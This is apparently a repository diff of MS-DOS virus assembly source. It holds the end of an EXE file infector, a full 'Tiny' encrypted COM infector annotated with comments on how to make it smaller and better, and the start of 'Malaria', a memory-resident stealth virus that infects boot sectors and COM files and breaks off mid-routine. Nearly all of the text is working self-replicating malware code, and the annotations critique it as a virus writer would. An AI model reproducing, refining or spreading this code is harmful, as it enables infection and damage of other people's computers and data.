||||||
|
mov cx,dx
|
||||||
|
mov dx,ax
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ax,4200H ;set file pointer to table end
|
||||||
|
int 21H
|
||||||
|
mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1
|
||||||
|
mov bx,OFFSET REL1
|
||||||
|
inc bx ;offset of REL1
|
||||||
|
mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
|
||||||
|
mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
|
||||||
|
mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2
|
||||||
|
mov bx,OFFSET REL2
|
||||||
|
add bx,3 ;offset of REL2
|
||||||
|
mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
|
||||||
|
mov WORD PTR [EXE_HDR+6],ax
|
||||||
|
mov cx,8 ;and then write 8 bytes of data in file
|
||||||
|
mov dx,OFFSET EXE_HDR
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ah,40H ;DOS write function
|
||||||
|
int 21H
|
||||||
|
ret ;that's it, infection is complete!
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This routine determines whether the reproduction code should be executed.
|
||||||
|
;If it returns Z, the reproduction code is executed, otherwise it is not.
|
||||||
|
;Currently, it only executes if the system time variable is a multiple of
|
||||||
|
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
|
||||||
|
;executions of the program. TIMECT should be 2^n-1
|
||||||
|
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
|
||||||
|
;is run. This makes SHOULDRUN return Z for sure the first time, so it
|
||||||
|
;definitely runs when this loader program is run, but after that, the time must
|
||||||
|
;be an even multiple of TIMECT+1.
|
||||||
|
;
|
||||||
|
TIMECT EQU 0 ;Determines how often to reproduce (1/64 here)
|
||||||
|
;
|
||||||
|
SHOULDRUN:
|
||||||
|
xor ah,ah ;zero ax to start, set z flag
|
||||||
|
SR1: ret ;this gets replaced by NOP when program runs
|
||||||
|
int 1AH
|
||||||
|
and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
|
||||||
|
ret ;return with z flag set if it is, else nz set
|
||||||
|
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;SETSR modifies SHOULDRUN so that the full procedure gets run
|
||||||
|
;it is redundant after the initial load
|
||||||
|
SETSR:
|
||||||
|
mov al,90H ;NOP code
|
||||||
|
mov BYTE PTR SR1,al ;put it in place of RET above
|
||||||
|
ret ;and return
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This routine sets up the new DTA location at DTA1, and saves the location of
|
||||||
|
;the initial DTA in the variable OLDDTA.
|
||||||
|
NEW_DTA:
|
||||||
|
mov ah,2FH ;get current DTA in ES:BX
|
||||||
|
int 21H
|
||||||
|
mov WORD PTR [OLDDTA],bx ;save it here
|
||||||
|
mov ax,es
|
||||||
|
mov WORD PTR [OLDDTA+2],ax
|
||||||
|
mov ax,cs
|
||||||
|
mov es,ax ;set up ES
|
||||||
|
mov dx,OFFSET DTA1 ;set new DTA offset
|
||||||
|
mov ah,1AH
|
||||||
|
int 21H ;and tell DOS where we want it
|
||||||
|
ret
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This routine reverses the action of NEW_DTA and restores the DTA to its
|
||||||
|
;original value.
|
||||||
|
RESTORE_DTA:
|
||||||
|
mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
|
||||||
|
mov ax,WORD PTR [OLDDTA+2]
|
||||||
|
mov ds,ax
|
||||||
|
mov ah,1AH
|
||||||
|
int 21H ;and tell DOS where to put it
|
||||||
|
mov ax,cs ;restore ds before exiting
|
||||||
|
mov ds,ax
|
||||||
|
ret
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This routine saves the original file attribute in FATTR, the file date and
|
||||||
|
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
|
||||||
|
;file attribute to read/write, and leaves the file opened in read/write
|
||||||
|
;mode (since it has to open the file to get the date and size), with the handle
|
||||||
|
;it was opened under in HANDLE. The file path and name is in USEFILE.
|
||||||
|
SAVE_ATTRIBUTE:
|
||||||
|
mov ah,43H ;get file attr
|
||||||
|
mov al,0
|
||||||
|
mov dx,OFFSET USEFILE
|
||||||
|
int 21H
|
||||||
|
mov [FATTR],cl ;save it here
|
||||||
|
mov ah,43H ;now set file attr to r/w
|
||||||
|
mov al,1
|
||||||
|
mov dx,OFFSET USEFILE
|
||||||
|
mov cl,0
|
||||||
|
int 21H
|
||||||
|
mov dx,OFFSET USEFILE
|
||||||
|
mov al,2 ;now that we know it's r/w
|
||||||
|
mov ah,3DH ;we can r/w access open file
|
||||||
|
int 21H
|
||||||
|
mov [HANDLE],ax ;save file handle here
|
||||||
|
mov ah,57H ;and get the file date and time
|
||||||
|
xor al,al
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
int 21H
|
||||||
|
mov [FTIME],cx ;and save it here
|
||||||
|
mov [FDATE],dx ;and here
|
||||||
|
mov ax,WORD PTR [DTA1+28] ;file size was set up here by
|
||||||
|
mov WORD PTR [FSIZE+2],ax ;search routine
|
||||||
|
mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
|
||||||
|
mov WORD PTR [FSIZE],ax
|
||||||
|
ret
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;Restore file attribute, and date and time of the file as they were before
|
||||||
|
;it was infected. This also closes the file
|
||||||
|
REST_ATTRIBUTE:
|
||||||
|
mov dx,[FDATE] ;get old date and time
|
||||||
|
mov cx,[FTIME]
|
||||||
|
mov ah,57H ;set file date and time to old value
|
||||||
|
mov al,1
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
int 21H
|
||||||
|
mov ah,3EH
|
||||||
|
mov bx,[HANDLE] ;close file
|
||||||
|
int 21H
|
||||||
|
mov cl,[FATTR]
|
||||||
|
xor ch,ch
|
||||||
|
mov ah,43H ;Set file attr to old value
|
||||||
|
mov al,1
|
||||||
|
mov dx,OFFSET USEFILE
|
||||||
|
int 21H
|
||||||
|
ret
|
||||||
|
|
||||||
|
FINAL: ;last byte of code to be kept in virus
|
||||||
|
|
||||||
|
VSEG ENDS
|
||||||
|
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;Virus stack segment
|
||||||
|
|
||||||
|
VSTACK SEGMENT PARA STACK
|
||||||
|
db STACKSIZE dup (?)
|
||||||
|
VSTACK ENDS
|
||||||
|
|
||||||
|
END VIRUS ;Entry point is the virus
|
||||||
@@ -0,0 +1,250 @@
|
|||||||
|
muttiny segment byte public
|
||||||
|
assume cs:muttiny, ds:muttiny
|
||||||
|
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
start: db 0e9h, 5, 0 ; jmp startvir
|
||||||
|
restorehere: int 20h
|
||||||
|
idword: dw 990h
|
||||||
|
; The next line is incredibly pointless. It is a holdover from one
|
||||||
|
; of the original TINYs, where the id was 7, 8, 9. The author can
|
||||||
|
; easily save one byte merely by deleting this line.
|
||||||
|
db 09h
|
||||||
|
startvir:
|
||||||
|
call oldtrick ; Standard location-finder
|
||||||
|
oldtrick: pop si
|
||||||
|
; The following statement is a bug -- well, not really a bug, just
|
||||||
|
; extraneous code. The value pushed on the stack in the following
|
||||||
|
; line is NEVER popped off. This is messy programming, as one byte
|
||||||
|
; could be saved by removing the statement.
|
||||||
|
push si
|
||||||
|
sub si,offset oldtrick
|
||||||
|
call encrypt ; Decrypt virus
|
||||||
|
call savepsp ; and save the PSP
|
||||||
|
; NOTE: The entire savepsp/restorepsp procedures are unnecessary.
|
||||||
|
; See the procedures at the end for further details.
|
||||||
|
jmp short findencryptval ; Go to the rest of the virus
|
||||||
|
; The next line is another example of messy programming -- it is a
|
||||||
|
; NOP inserted by MASM during assembly. Running this file through
|
||||||
|
; TASM with the /m2 switch should eliminate such "fix-ups."
|
||||||
|
nop
|
||||||
|
; The next line leaves me guessing as to the author's true intent.
|
||||||
|
db 0
|
||||||
|
|
||||||
|
encryptval dw 0h
|
||||||
|
|
||||||
|
encrypt:
|
||||||
|
push bx ; Save handle
|
||||||
|
; The following two lines of code could be condensed into one:
|
||||||
|
; lea bx, [si+offset startencrypt]
|
||||||
|
; Once again, poor programming style, though there's nothing wrong
|
||||||
|
; with the code.
|
||||||
|
mov bx,offset startencrypt
|
||||||
|
add bx,si
|
||||||
|
; Continueencrypt is implemented as a jmp-type loop. Although it's
|
||||||
|
; fine to code it this way, it's probably easier to code using the
|
||||||
|
; loop statement. Upon close inspection, one finds the loop to be
|
||||||
|
; flawed. Note the single inc bx statement. This essentially makes
|
||||||
|
; the encryption value a a byte instead of a word, which decreases
|
||||||
|
; the number of mutations from 65,535 to 255. Once again, this is
|
||||||
|
; just poor programming, very easily rectified with another inc bx
|
||||||
|
; statement. Another optimization could be made. Use a
|
||||||
|
; mov dx, [si+encryptval]
|
||||||
|
; to load up the encryption value before the loop, and replace the
|
||||||
|
; three lines following continueencrypt with a simple:
|
||||||
|
; xor word ptr [bx], dx
|
||||||
|
continueencrypt:
|
||||||
|
mov ax,[bx]
|
||||||
|
xor ax,word ptr [si+encryptval]
|
||||||
|
mov [bx],ax
|
||||||
|
inc bx
|
||||||
|
; The next two lines should be executed BEFORE continueencrypt. As
|
||||||
|
; it stands right now, they are recalculated every iteration which
|
||||||
|
; slows down execution somewhat. Furthermore, the value calculated
|
||||||
|
; is much too large and this increases execution time. Yet another
|
||||||
|
; improvement would be the merging of the mov/add pair to the much
|
||||||
|
; cleaner lea cx, [si+offset endvirus].
|
||||||
|
mov cx,offset veryend ; Calculate end of
|
||||||
|
add cx,si ; encryption: Note
|
||||||
|
cmp bx,cx ; the value is 246
|
||||||
|
jle continueencrypt ; bytes too large.
|
||||||
|
pop bx
|
||||||
|
ret
|
||||||
|
writerest: ; Tack on the virus to the
|
||||||
|
call encrypt ; end of the file.
|
||||||
|
mov ah,40h
|
||||||
|
mov cx,offset endvirus - offset idword
|
||||||
|
lea dx,[si+offset idword] ; Write starting from the id
|
||||||
|
int 21h ; word
|
||||||
|
call encrypt
|
||||||
|
ret
|
||||||
|
|
||||||
|
startencrypt:
|
||||||
|
; This is where the encrypted area begins. This could be moved to
|
||||||
|
; where the ret is in procedure writerest, but it is not necessary
|
||||||
|
; since it won't affect the "scannability" of the virus.
|
||||||
|
|
||||||
|
findencryptval:
|
||||||
|
mov ah,2Ch ; Get random #
|
||||||
|
int 21h ; CX=hr/min dx=sec
|
||||||
|
; The following chunk of code puzzles me. I admit it, I am totally
|
||||||
|
; lost as to its purpose.
|
||||||
|
cmp word ptr [si+offset encryptval],0
|
||||||
|
je step_two
|
||||||
|
cmp word ptr [si+offset encryptval+1],0
|
||||||
|
je step_two
|
||||||
|
cmp dh,0Fh
|
||||||
|
jle foundencryptionvalue
|
||||||
|
step_two: ; Check to see if any
|
||||||
|
cmp dl,0 ; part of the encryption
|
||||||
|
je findencryptval ; value is 0 and if so,
|
||||||
|
cmp dh,0 ; find another value.
|
||||||
|
je findencryptval
|
||||||
|
mov [si+offset encryptval],dx
|
||||||
|
foundencryptionvalue:
|
||||||
|
mov bp,[si+offset oldjmp] ; Set up bp for
|
||||||
|
add bp,103h ; jmp later
|
||||||
|
lea dx,[si+filemask] ; '*.COM',0
|
||||||
|
xor cx,cx ; Attributes
|
||||||
|
mov ah,4Eh ; Find first
|
||||||
|
tryanother:
|
||||||
|
int 21h
|
||||||
|
jc quit_virus ; If none found, exit
|
||||||
|
|
||||||
|
mov ax,3D02h ; Open read/write
|
||||||
|
mov dx,9Eh ; In default DTA
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov cx,3
|
||||||
|
mov bx,ax ; Swap file handle register
|
||||||
|
lea dx,[si+offset buffer]
|
||||||
|
mov di,dx
|
||||||
|
call read ; Read 3 bytes
|
||||||
|
cmp byte ptr [di],0E9h ; Is it a jmp?
|
||||||
|
je infect
|
||||||
|
findnext:
|
||||||
|
mov ah,4Fh ; If not, find next
|
||||||
|
jmp short tryanother
|
||||||
|
infect:
|
||||||
|
mov ax,4200h ; Move file pointer
|
||||||
|
mov dx,[di+1] ; to jmp location
|
||||||
|
mov [si+offset oldjmp],dx ; and save old jmp
|
||||||
|
xor cx,cx ; location
|
||||||
|
call int21h
|
||||||
|
jmp short skipcheckinf
|
||||||
|
; Once again, we meet an infamous MASM-NOP.
|
||||||
|
nop
|
||||||
|
; I don't understand why checkinf is implemented as a procedure as
|
||||||
|
; it is executed but once. It is a waste of code space to do such
|
||||||
|
; a thing. The ret and call are both extra, wasting four bytes. An
|
||||||
|
; additional three bytes were wasted on the JMP skipping checkinf.
|
||||||
|
; In a program called "Tiny," a wasted seven bytes is rather large
|
||||||
|
; and should not exist. I have written a virus of half the length
|
||||||
|
; of this virus which is a generic COM infector. There is just too
|
||||||
|
; too much waste in this program.
|
||||||
|
checkinf:
|
||||||
|
cmp word ptr [di],990h ; Is it already
|
||||||
|
je findnext ; infected?
|
||||||
|
; The je statement above presents another problem. It leaves stuff
|
||||||
|
; on the stack from the call. This is, once again, not a critical
|
||||||
|
; error but nevertheless it is extremely sloppy behavior.
|
||||||
|
xor dx,dx
|
||||||
|
xor cx,cx
|
||||||
|
mov ax,4202h
|
||||||
|
call int21h ; Goto end of file
|
||||||
|
ret
|
||||||
|
skipcheckinf:
|
||||||
|
mov cx,2
|
||||||
|
mov dx,di
|
||||||
|
call read ; read 2 bytes
|
||||||
|
call checkinf
|
||||||
|
; The next check is extraneous. No COM file is larger than 65,535
|
||||||
|
; bytes before infection simply because it is "illegal." Yet ano-
|
||||||
|
; ther waste of code. Even if one were to use this useless check,
|
||||||
|
; it should be implemented, to save space, as or dx, dx.
|
||||||
|
cmp dx,0 ; Check if too big
|
||||||
|
jne findnext
|
||||||
|
|
||||||
|
cmp ah,0FEh ; Check again if too big
|
||||||
|
jae findnext
|
||||||
|
mov [si+storejmp],ax ; Save new jmp
|
||||||
|
call writerest ; location
|
||||||
|
mov ax,4200h ; Go to offset
|
||||||
|
mov dx,1 ; 1 in the file
|
||||||
|
xor cx,cx
|
||||||
|
call int21h
|
||||||
|
|
||||||
|
mov ah,40h ; and write the new
|
||||||
|
mov cx,2 ; jmp location
|
||||||
|
lea dx,[si+storejmp]
|
||||||
|
call int21h
|
||||||
|
; I think it is quite obvious that the next line is pointless. It
|
||||||
|
; is a truly moronic waste of two bytes.
|
||||||
|
jc closefile
|
||||||
|
closefile:
|
||||||
|
mov ah,3Eh ; Close the file
|
||||||
|
call int21h
|
||||||
|
quit_virus:
|
||||||
|
call restorepsp
|
||||||
|
jmp bp
|
||||||
|
|
||||||
|
read:
|
||||||
|
mov ah,3Fh ; Read file
|
||||||
|
; I do not understand why all the int 21h calls are done with this
|
||||||
|
; procedure. It is a waste of space. A normal int 21h call is two
|
||||||
|
; bytes long while it's three bytes just to call this procedure!
|
||||||
|
int21h:
|
||||||
|
int 21h
|
||||||
|
ret
|
||||||
|
|
||||||
|
db 'Made in England'
|
||||||
|
|
||||||
|
; Note: The comments for savepsp also apply to restorepsp.
|
||||||
|
|
||||||
|
; This code could have easily been changed to a set active DTA INT
|
||||||
|
; 21h call (AH = 1Ah). It would have saved many, many bytes.
|
||||||
|
|
||||||
|
savepsp:
|
||||||
|
mov di,0
|
||||||
|
; The following is a bug. It should be
|
||||||
|
; mov cx, 50h
|
||||||
|
; since the author decided to use words instead of bytes.
|
||||||
|
mov cx,100h
|
||||||
|
push si
|
||||||
|
; The loop below is dumb. A simple rep movsw statement would have
|
||||||
|
; sufficed. Instead, countless bytes are wasted on the loop.
|
||||||
|
storebytes:
|
||||||
|
mov ax,[di]
|
||||||
|
mov word ptr [si+pspstore],ax
|
||||||
|
add si,2
|
||||||
|
add di,2
|
||||||
|
loop storebytes
|
||||||
|
pop si
|
||||||
|
ret
|
||||||
|
|
||||||
|
restorepsp:
|
||||||
|
mov di,0
|
||||||
|
mov cx,100h ; Restore 200h bytes
|
||||||
|
push si
|
||||||
|
restorebytes:
|
||||||
|
mov ax,word ptr [si+pspstore]
|
||||||
|
mov [di],ax
|
||||||
|
add si,2
|
||||||
|
add di,2
|
||||||
|
loop restorebytes
|
||||||
|
pop si
|
||||||
|
ret
|
||||||
|
|
||||||
|
oldjmp dw 0
|
||||||
|
filemask db '*.COM',0
|
||||||
|
idontknow1 db 66h ; Waste of one byte
|
||||||
|
buffer db 00h, 00h, 01h ; Waste of three bytes
|
||||||
|
storejmp dw 0 ; Waste of two bytes
|
||||||
|
; endvirus should be before idontknow1, thereby saving six bytes.
|
||||||
|
endvirus:
|
||||||
|
idontknow2 db ?, ?
|
||||||
|
pspstore db 200 dup (?) ; Should actually be
|
||||||
|
idontknow3 db 2ch dup (?) ; 100h bytes long.
|
||||||
|
veryend: ; End of encryption
|
||||||
|
muttiny ends
|
||||||
|
end start
|
||||||
@@ -0,0 +1,408 @@
|
|||||||
|
;
|
||||||
|
;=============================================================================
|
||||||
|
; [Malaria]
|
||||||
|
; TSR, parasitic, tunneling, sub-stealth, floppy, COM infecting virus
|
||||||
|
;=============================================================================
|
||||||
|
;
|
||||||
|
|
||||||
|
virus_size equ (v_end-v_start)
|
||||||
|
loader_size equ (loader_end-loader_start)
|
||||||
|
paragraph_size equ (heap_end-v_start+010Fh)/0010h+0001h
|
||||||
|
|
||||||
|
.model tiny
|
||||||
|
.code
|
||||||
|
.286
|
||||||
|
org 0100h
|
||||||
|
start:
|
||||||
|
v_start:
|
||||||
|
push ds es
|
||||||
|
dec ax
|
||||||
|
int 0013h
|
||||||
|
inc ax
|
||||||
|
jz exit_install
|
||||||
|
mov ax,es
|
||||||
|
dec ax
|
||||||
|
mov ds,ax
|
||||||
|
mov bx,5A4Dh
|
||||||
|
sub si,si
|
||||||
|
cmp bl,byte ptr [si]
|
||||||
|
jz exit_install
|
||||||
|
mov ax,offset exit_install
|
||||||
|
delta_two = $-0002h
|
||||||
|
push cs ax
|
||||||
|
sub word ptr [si+0003h],paragraph_size
|
||||||
|
sub word ptr [si+0012h],paragraph_size
|
||||||
|
mov byte ptr [si],bl
|
||||||
|
mov ax,word ptr [si+0012h]
|
||||||
|
mov ds,ax
|
||||||
|
mov byte ptr [si],bh
|
||||||
|
mov word ptr [si+0001h],0008h
|
||||||
|
mov word ptr [si+0003h],paragraph_size-0001h
|
||||||
|
inc ax
|
||||||
|
mov es,ax
|
||||||
|
push ax
|
||||||
|
mov si,offset v_start
|
||||||
|
delta_one = $-0002h
|
||||||
|
mov cx,virus_size
|
||||||
|
mov di,offset v_start
|
||||||
|
rep movs byte ptr [di],cs:[si]
|
||||||
|
mov ax,offset trace_interrupt
|
||||||
|
push ax
|
||||||
|
retf
|
||||||
|
exit_install:
|
||||||
|
pop es ds
|
||||||
|
mov si,offset host_bytes
|
||||||
|
delta_three = $-0002h
|
||||||
|
mov di,offset v_start
|
||||||
|
push di
|
||||||
|
movsb
|
||||||
|
movsw
|
||||||
|
retn
|
||||||
|
loader_start:
|
||||||
|
mov ax,0B900h
|
||||||
|
mov es,ax
|
||||||
|
push ax
|
||||||
|
mov ax,offset restore_boot_sector
|
||||||
|
push ax
|
||||||
|
mov ax,0202h
|
||||||
|
mov bx,offset v_start
|
||||||
|
mov cx,'ML'
|
||||||
|
loader_fix_1 = $-0002h
|
||||||
|
inc dh
|
||||||
|
int 0013h
|
||||||
|
retf
|
||||||
|
loader_end:
|
||||||
|
restore_boot_sector:
|
||||||
|
xor ax,ax
|
||||||
|
mov es,ax
|
||||||
|
mov si,offset boot_bytes
|
||||||
|
mov di,7C00h
|
||||||
|
push ax di
|
||||||
|
mov cl,loader_size shr 0001h
|
||||||
|
rep movs word ptr [di],cs:[si]
|
||||||
|
mov ax,word ptr es:[0084h]
|
||||||
|
mov word ptr cs:[int_word],ax
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
mov byte ptr cs:[trace_interrupt_],00C3h
|
||||||
|
call trace_interrupt
|
||||||
|
mov byte ptr cs:[trace_interrupt_],00BEh
|
||||||
|
retf
|
||||||
|
trace_interrupt:
|
||||||
|
mov ds,cx
|
||||||
|
mov byte ptr cs:[trap_flag],cl
|
||||||
|
mov si,004Ch
|
||||||
|
mov di,offset i0013hOffset
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
mov word ptr [si-0004h],offset i0013h
|
||||||
|
mov word ptr [si-0002h],cs
|
||||||
|
trace_interrupt_:
|
||||||
|
mov si,0084h
|
||||||
|
mov di,offset i0021hOffset
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
mov word ptr [si-0004h],offset i0021h
|
||||||
|
mov word ptr [si-0002h],cs
|
||||||
|
mov si,0004h
|
||||||
|
push word ptr ds:[si] word ptr ds:[si+0002h]
|
||||||
|
mov word ptr [si],offset i0001h
|
||||||
|
mov word ptr [si+0002h],cs
|
||||||
|
mov ah,0052h
|
||||||
|
int 0021h
|
||||||
|
mov word ptr cs:[dos_segment],es
|
||||||
|
mov ah,0001h
|
||||||
|
push ax
|
||||||
|
popf
|
||||||
|
mov ah,0019h
|
||||||
|
call call_i0021h
|
||||||
|
pop word ptr ds:[si+0002h] word ptr ds:[si]
|
||||||
|
retf
|
||||||
|
i0001h: push bp
|
||||||
|
mov bp,sp
|
||||||
|
push ax
|
||||||
|
cmp byte ptr cs:[trap_flag],0001h
|
||||||
|
jz i0001h_exit_
|
||||||
|
mov ax,word ptr [bp+0004h]
|
||||||
|
cmp ax,0D00Dh
|
||||||
|
dos_segment = $-0002h
|
||||||
|
jnz i0001h_exit
|
||||||
|
mov word ptr cs:[t0021hSegment],ax
|
||||||
|
mov ax,word ptr [bp+0002h]
|
||||||
|
mov word ptr cs:[t0021hOffset],ax
|
||||||
|
inc byte ptr cs:[trap_flag]
|
||||||
|
i0001h_exit_:
|
||||||
|
and byte ptr [bp+0007h],-0002h
|
||||||
|
i0001h_exit:
|
||||||
|
pop ax bp
|
||||||
|
int_return:
|
||||||
|
iret
|
||||||
|
i0013h: cmp ax,-0001h
|
||||||
|
jz int_return
|
||||||
|
cmp byte ptr cs:[trap_flag],0001h
|
||||||
|
jz i0013h_continue
|
||||||
|
pusha
|
||||||
|
push ds es cs
|
||||||
|
pop es
|
||||||
|
cwd
|
||||||
|
mov ds,dx
|
||||||
|
mov ax,word ptr ds:[0084h]
|
||||||
|
cmp ax,word ptr cs:[int_word]
|
||||||
|
jz hook_exit
|
||||||
|
push cs
|
||||||
|
call trace_interrupt_
|
||||||
|
hook_exit:
|
||||||
|
pop es ds
|
||||||
|
popa
|
||||||
|
i0013h_continue:
|
||||||
|
cmp dl,0001h
|
||||||
|
jnb original_i0013h
|
||||||
|
cmp ah,0002h
|
||||||
|
jz i0013h_stealth_boot
|
||||||
|
pusha
|
||||||
|
push ds es
|
||||||
|
cmp ah,0003h
|
||||||
|
jnz i0013h_exit
|
||||||
|
i0013h_infect_boot:
|
||||||
|
mov ax,0BBE8h
|
||||||
|
mov es,ax
|
||||||
|
mov ax,0201h
|
||||||
|
xor bx,bx
|
||||||
|
mov cx,0001h
|
||||||
|
xor dh,dh
|
||||||
|
call call_i0013h
|
||||||
|
cmp byte ptr es:[bx],00B8h
|
||||||
|
jz i0013h_exit
|
||||||
|
mov al,byte ptr es:[bx+0010h]
|
||||||
|
mul byte ptr es:[bx+0016h]
|
||||||
|
xchg ax,cx
|
||||||
|
mov ax,word ptr es:[bx+0011h]
|
||||||
|
shr ax,0004h
|
||||||
|
add ax,cx
|
||||||
|
sub ax,word ptr es:[bx+0018h]
|
||||||
|
mov word ptr cs:[loader_fix_1],ax
|
||||||
|
push ax es es cs
|
||||||
|
pop es ds
|
||||||
|
mov cl,loader_size shr 0001h
|
||||||
|
xor si,si
|
||||||
|
mov di,offset boot_bytes
|
||||||
|
rep movsw
|
||||||
|
pop es
|
||||||
|
mov cl,loader_size shr 0001h
|
||||||
|
mov si,offset loader_start
|
||||||
|
sub di,di
|
||||||
|
rep movs word ptr [di],cs:[si]
|
||||||
|
mov ax,0301h
|
||||||
|
inc cx
|
||||||
|
call call_i0013h
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
mov ax,0302h
|
||||||
|
mov bx,offset v_start
|
||||||
|
pop cx
|
||||||
|
inc dh
|
||||||
|
call call_i0013h
|
||||||
|
i0013h_exit:
|
||||||
|
pop es ds
|
||||||
|
popa
|
||||||
|
original_i0013h:
|
||||||
|
db 00EAh,'PURE'
|
||||||
|
i0013hOffset = $-0004h
|
||||||
|
i0013hSegment = $-0002h
|
||||||
|
i0013h_stealth_boot:
|
||||||
|
cmp cx,0001h
|
||||||
|
jnz original_i0013h
|
||||||
|
or dh,dh
|
||||||
|
jnz original_i0013h
|
||||||
|
pusha
|
||||||
|
call call_i0013h
|
||||||
|
jc i0013h_stealth_boot_exit
|
||||||
|
cmp byte ptr es:[bx],00B8h
|
||||||
|
jnz i0013h_stealth_boot_exit
|
||||||
|
mov si,offset boot_bytes
|
||||||
|
mov di,bx
|
||||||
|
mov cl,loader_size shr 0001h
|
||||||
|
rep movs word ptr [di],cs:[si]
|
||||||
|
i0013h_stealth_boot_exit:
|
||||||
|
popa
|
||||||
|
clc
|
||||||
|
retf 0002h
|
||||||
|
i0021h: cmp ah,0011h
|
||||||
|
jz fcb_stealth
|
||||||
|
cmp ah,0012h
|
||||||
|
jz fcb_stealth
|
||||||
|
cmp ah,004Eh
|
||||||
|
jz dta_stealth
|
||||||
|
cmp ah,004Fh
|
||||||
|
jz dta_stealth
|
||||||
|
pusha
|
||||||
|
push ds es
|
||||||
|
cmp ax,4300h
|
||||||
|
jz i0021h_infect_file
|
||||||
|
cmp ax,4301h
|
||||||
|
jz i0021h_infect_file
|
||||||
|
cmp ax,4B00h
|
||||||
|
jz i0021h_infect_file
|
||||||
|
i0021h_exit:
|
||||||
|
pop es ds
|
||||||
|
popa
|
||||||
|
original_i0021h:
|
||||||
|
db 00EAh,'TEXT'
|
||||||
|
i0021hOffset = $-0004h
|
||||||
|
i0021hSegment = $-0002h
|
||||||
|
fcb_stealth:
|
||||||
|
call call_i0021h
|
||||||
|
pusha
|
||||||
|
push es
|
||||||
|
inc al
|
||||||
|
jz fcb_exit_
|
||||||
|
mov ah,002Fh
|
||||||
|
call tunnel_i0021h
|
||||||
|
cmp byte ptr es:[bx],-0001h
|
||||||
|
jnz fcb_continue
|
||||||
|
add bx,0007h
|
||||||
|
fcb_continue:
|
||||||
|
mov ax,word ptr es:[bx+0017h]
|
||||||
|
mov cx,word ptr es:[bx+0019h]
|
||||||
|
call hide_dir
|
||||||
|
fcb_exit_:
|
||||||
|
pop es
|
||||||
|
popa
|
||||||
|
fcb_exit:
|
||||||
|
iret
|
||||||
|
dta_stealth:
|
||||||
|
call call_i0021h
|
||||||
|
jc dta_exit
|
||||||
|
pusha
|
||||||
|
push es
|
||||||
|
mov ah,002Fh
|
||||||
|
call tunnel_i0021h
|
||||||
|
mov ax,word ptr es:[bx+0016h]
|
||||||
|
mov cx,word ptr es:[bx+0018h]
|
||||||
|
sub bx,0003h
|
||||||
|
call hide_dir
|
||||||
|
pop es
|
||||||
|
popa
|
||||||
|
dta_exit:
|
||||||
|
retf 0002h
|
||||||
|
_close_file:
|
||||||
|
jmp close_file
|
||||||
|
i0021h_infect_file:
|
||||||
|
push ds
|
||||||
|
pop es
|
||||||
|
mov al,002Eh
|
||||||
|
mov cx,0040h
|
||||||
|
mov di,dx
|
||||||
|
repnz scasb
|
||||||
|
cmp word ptr [di],4F43h
|
||||||
|
jnz i0021h_exit
|
||||||
|
mov ax,3D02h
|
||||||
|
call tunnel_i0021h
|
||||||
|
xchg ax,bx
|
||||||
|
mov ax,1220h
|
||||||
|
int 002Fh
|
||||||
|
push bx
|
||||||
|
mov ax,1216h
|
||||||
|
mov bl,byte ptr es:[di]
|
||||||
|
int 002Fh
|
||||||
|
pop bx
|
||||||
|
mov si,offset temp_buffer
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov ah,003Fh
|
||||||
|
mov cl,0003h
|
||||||
|
mov dx,si
|
||||||
|
call tunnel_i0021h
|
||||||
|
cmp word ptr [si],5A4Dh
|
||||||
|
jz close_file
|
||||||
|
cmp word ptr [si],4D5Ah
|
||||||
|
jz close_file
|
||||||
|
push si
|
||||||
|
lodsb
|
||||||
|
mov byte ptr [si-0004h],al
|
||||||
|
lodsw
|
||||||
|
mov word ptr [si-0005h],ax
|
||||||
|
pop si
|
||||||
|
mov ax,word ptr es:[di+0011h]
|
||||||
|
mov word ptr es:[di+0015h],ax
|
||||||
|
mov cx,virus_size
|
||||||
|
cmp ax,cx
|
||||||
|
jb close_file
|
||||||
|
push ax
|
||||||
|
sub ax,0003h
|
||||||
|
mov byte ptr [si],00E9h
|
||||||
|
mov word ptr [si+0001h],ax
|
||||||
|
sub ax,cx
|
||||||
|
cmp ax,word ptr [si-0002h]
|
||||||
|
pop ax
|
||||||
|
jz close_file
|
||||||
|
add ax,offset v_start
|
||||||
|
mov word ptr [delta_one],ax
|
||||||
|
add ax,offset exit_install-v_start
|
||||||
|
mov word ptr [delta_two],ax
|
||||||
|
add ax,offset host_bytes-exit_install
|
||||||
|
mov word ptr [delta_three],ax
|
||||||
|
mov ah,0040h
|
||||||
|
mov dx,offset v_start
|
||||||
|
call tunnel_i0021h
|
||||||
|
mov word ptr es:[di+0015h],0000h
|
||||||
|
mov ah,0040h
|
||||||
|
mov cx,0003h
|
||||||
|
mov dx,si
|
||||||
|
call tunnel_i0021h
|
||||||
|
mov ax,5701h
|
||||||
|
mov cx,word ptr es:[di+000Dh]
|
||||||
|
mov dx,word ptr es:[di+000Fh]
|
||||||
|
push dx
